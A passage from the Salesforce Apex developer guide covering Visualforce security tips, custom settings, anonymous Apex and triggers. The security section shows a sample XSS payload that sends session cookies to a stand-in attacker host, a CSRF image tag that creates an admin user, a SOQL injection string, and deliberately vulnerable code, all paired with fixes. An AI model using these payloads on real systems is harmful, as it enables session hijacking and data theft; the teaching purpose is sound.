System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}
Associating an Apex Class Used for Recalculation
An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click Save.
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business
logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any
programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass
the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer
can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it’s important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.
199
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
•http://www.owasp.org/index.php/Cross_Site_Scripting
•http://www.cgisecurity.com/xss-faq.html
•http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
•http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
200
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript>Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
201
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as &gt;.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
When the page loads the JavaScript executes, and the alert is displayed.
In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
202
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
•http://www.owasp.org/index.php/Cross-Site_Request_Forgery
•http://www.cgisecurity.com/csrf-faq.html
•http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CRSF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.
203
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
•http://www.owasp.org/index.php/SQL_injection
•http://www.owasp.org/index.php/Blind_SQL_Injection
•http://www.owasp.org/index.php/Guide_to_SQL_Injection
•http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provides unexpected input, such as:
// User supplied value for name: test%') OR (Name LIKE '
204
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable
example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which
users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The
default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not
enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden
from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For
example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
...
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
205
Security Tips for Apex and Visualforce DevelopmentWorking with Data in Apex
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
•A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country
codes, users have quick access to this data without needing to query the database.
•An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales
reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for
route and traffic, you can enable this data for just the “Sales Rep” profile.
You can create a custom setting in the Salesforce user interface: from Setup, enter Custom Settings in the Quick Find box,
then select Custom Settings. After creating a custom setting and you’ve added fields, provide data to your custom setting by clicking
Manage from the detail page. Each data set is identified by the name you give it.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can
look like the following:
Country Code Field ValueData Set Name
USAUnited States
CANCanada
GBRUnited Kingdom
You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility
setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the
custom settings using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing
organization cannot edit the values or access them using Apex.
206
Custom SettingsWorking with Data in Apex
Accessing a List Custom Setting
The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with
the list setting.
Map<String_dataset_name,CustomSettingName__c> mcs = CustomSettingName__c.getAll();
The following example uses the getValues method to return all the field values associated with the specified data set. This method
can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);
Accessing a Hierarchy Custom Setting
The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();
The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);
SEE ALSO:
Custom Settings Methods
207
Custom SettingsWorking with Data in Apex
WAYS TO INVOKE APEX
CHAPTER 8 Invoking Apex
This chapter describes in detail the different mechanisms for invoking Apex code.
In this chapter ...
Here is an overview of the many ways you can invoke Apex. You can run Apex using:
•Anonymous Blocks
•A code snippet in an anonymous block.
•Triggers
•A trigger invoked for specified events.
•Asynchronous Apex
•Asynchronous Apex by executing a future method, scheduling an Apex class to run at specified
intervals, or running a batch job.
•Web Services
•Apex Email Service
•Apex Web Services, which allow exposing your methods via SOAP and REST Web services.
•Visualforce Classes
•Apex Email Service to process inbound email.
•Invoking Apex Using
JavaScript •Visualforce controllers, which contain logic in Apex for Visualforce pages.
•The Ajax toolkit to invoke Web service methods implemented in Apex.
208
Anonymous Blocks
User Permissions Needed
“Author Apex”To execute anonymous Apex:
(Anonymous Apex execution through the API allows restricted access without the “Author
Apex” permission.)
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed using one of the
following:
•Developer Console
•Force.com IDE
•The executeAnonymous() SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)
You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write
code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as
a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database.
Note the following about the content of an anonymous block (for executeAnonymous(), the code String):
•Can include user-defined methods and exceptions.
•User-defined methods cannot include the keyword static.
•You do not have to manually commit any database changes.
•If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not
complete successfully, any changes made to the database are rolled back.
•Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's
object- and field-level permissions.
•Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The
scope of the method is limited to the anonymous block.
•When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default
when the anonymous block executes. This is true even if your custom type wasn’t defined with the virtual modifier. Save your
class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block aren’t
saved in your organization.
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be
referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does
not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
209
Anonymous BlocksInvoking Apex
}
myProcedure1();
The return result for anonymous blocks includes:
•Status information for the compile and execute phases of the call, including any errors that occur
•The debug log content, including the output of any calls to the System.debug method (see Debug Log on page 523)
•The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack
element
For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the
Developer Console and the Force.com IDE.
Executing Anonymous Apex through the API and the “Author Apex”
Permission
To run any Apex code with the executeAnonymous() API call, including Apex methods saved in the organization, users must
have the “Author Apex” permission. For users who don’t have the “Author Apex” permission, the API allows restricted execution of
anonymous Apex. This exception applies only when users execute anonymous Apex through the API, or through a tool that uses the
API, but not in the Developer Console. Such users are allowed to run the following in an anonymous block.
•Code that they write in the anonymous block
•Web service methods (methods declared with the webservice keyword) that are saved in the organization
•Any built-in Apex methods that are part of the Apex language
Running any other Apex code isn’t allowed when the user doesn’t have the “Author Apex” permission. For example, calling methods of
custom Apex classes that are saved in the organization isn’t allowed nor is using custom classes as arguments to built-in methods.
When users without the “Author Apex” permission run DML statements in an anonymous block, triggers can get fired as a result.
Triggers
Apex can be invoked by using triggers. Apex triggers enable you to perform custom actions before or after changes to Salesforce records,
such as insertions, updates, or deletions.
A trigger is Apex code that executes before or after the following types of operations:
•insert
•update
•delete
•merge
•upsert
•undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or
even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects,
such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers
you want to access, go to Triggers.
210
TriggersInvoking Apex
There are two types of triggers:
•Before triggers are used to update or validate record values before they’re saved to the database.
•After triggers are used to access field values that are set by the system (such as a record's Id or LastModifiedDate field), and
to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that
fire the after trigger are read-only.
Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after
an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and
because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and
sets limits on the number of operations that can be performed to prevent infinite recursion. See Execution Governors and Limits on page
274.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error.
This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A
inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or
database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error.
Implementation Considerations
Before creating triggers, consider the following:
•upsert triggers fire both before and after insert or before and after update triggers as appropriate.
•merge triggers fire both before and after delete triggers for the losing records and before update triggers for the winning
record only. See Triggers and Merge Statements on page 218.
•Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on
page 219.
•Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don’t see any history for the current
transaction.
•Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object
or field, but they activate a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
•Callouts must be made asynchronously from a trigger so that the trigger process isn’t blocked while waiting for the external service's
response. The asynchronous callout is made in a background process, and the response is received when the external service returns
it. To make an asynchronous callout, use asynchronous Apex such as a future method. See Invoking Callouts Using Apex for more
information.
•In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split
into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes
a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same
HTTP request.
Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one
record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
•Data import
•Force.com Bulk API calls
211
Bulk TriggersInvoking Apex
•Mass actions, such as record owner changes and deletes
•Recursive Apex methods and triggers that invoke bulk DML statements
Trigger Syntax
To define a trigger, use the following syntax:
trigger TriggerName on ObjectName (trigger_events) {
code_block
}
where trigger_events can be a comma-separated list of one or more of the following events:
•before insert
•before update
•before delete
•after insert
•after update
•after delete
•after undelete
Note: A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error
when the trigger is called in bulk from the Force.com API.
For example, the following code defines a trigger for the before insert and before update events on the Account object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}
The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In
addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully,
any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the
database are rolled back.
Trigger Context Variables
All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the
System.Trigger class.
UsageVariable
Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service,
or an executeanonymous() API call.
isExecuting
Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface,
Apex, or the API.
isInsert
Returns true if this trigger was fired due to an update operation, from the Salesforce user interface,
Apex, or the API.
isUpdate
212
Trigger SyntaxInvoking Apex
UsageVariable
Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface,
Apex, or the API.
isDelete
Returns true if this trigger was fired before any record was saved.isBefore
Returns true if this trigger was fired after all records were saved.isAfter
Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after
an undelete operation from the Salesforce user interface, Apex, or the API.)
isUndelete
Returns a list of the new versions of the sObject records.
This sObject list is only available in insert, update, and undelete triggers, and the records
can only be modified in before triggers.
new
A map of IDs to the new versions of the sObject records.
This map is only available in before update, after insert, after update, and
after undelete triggers.
newMap
Returns a list of the old versions of the sObject records.
This sObject list is only available in update and delete triggers.
old
A map of IDs to the old versions of the sObject records.
This map is only available in update and delete triggers.
oldMap
The total number of records in a trigger invocation, both old and new.size
Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set
to null in the new, newMap, old, and oldMap trigger context variables.
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind
variable in the IN clause of a SOQL query.
Trigger simpleTrigger on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes
for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
213
Trigger Context VariablesInvoking Apex
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
}else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
}else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}
Context Variable Considerations
Be aware of the following considerations for trigger context variables:
•trigger.new and trigger.old cannot be used in Apex DML operations.
•You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
•trigger.old is always read-only.
•You cannot delete trigger.new.
214
Context Variable ConsiderationsInvoking Apex
The following table lists considerations about certain actions in different trigger events:
Can delete original object
using a delete DML
operation
Can update original object
using an update DML
operation
Can change fields using
trigger.new
Trigger Event
Not applicable. The original
object has not been created;
Not applicable. The original
object has not been created;
Allowed.before insert
nothing can reference it, so
nothing can update it.
nothing can reference it, so
nothing can update it.
Allowed, but unnecessary. The
object is deleted immediately
after being inserted.
Allowed.Not allowed. A runtime error is
thrown, as trigger.new is
already saved.
after insert
Not allowed. A runtime error is
thrown.
Not allowed. A runtime error is
thrown.
Allowed.before update
Allowed. The updates are saved
before the object is deleted, so
Allowed. Even though bad code
could cause an infinite recursion
Not allowed. A runtime error is
thrown, as trigger.new is
already saved.
after update
if the object is undeleted, the
updates become visible.
doing this incorrectly, the error
would be found by the governor
limits.
Not allowed. A runtime error is
thrown. The deletion is already
in progress.
Allowed. The updates are saved
before the object is deleted, so
if the object is undeleted, the
updates become visible.
Not allowed. A runtime error is
thrown. trigger.new is not
available in before delete
triggers.
before delete
Not applicable. The object has
already been deleted.
Not applicable. The object has
already been deleted.
Not allowed. A runtime error is
thrown. trigger.new is not
available in after delete triggers.
after delete
Allowed, but unnecessary. The
object is deleted immediately
after being inserted.
Allowed.Not allowed. A runtime error is
thrown. trigger.old is not
available in after undelete
triggers.
after undelete
Common Bulk Trigger Idioms
Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult
for developers to understand and code because they involve processing batches of several records at a time. The following sections
provide examples of idioms that should be used frequently when writing in bulk.
Using Maps and Sets in Bulk Triggers
Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps
can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem
records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their
215
Common Bulk Trigger IdiomsInvoking Apex
associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems
in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// For every OpportunityLineItem record, add its associated pricebook entry
// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
Correlating Records with Query Results in Bulk Triggers
Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this
trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For
every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}
Using Triggers to Insert or Update Records with Unique Fields
When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the
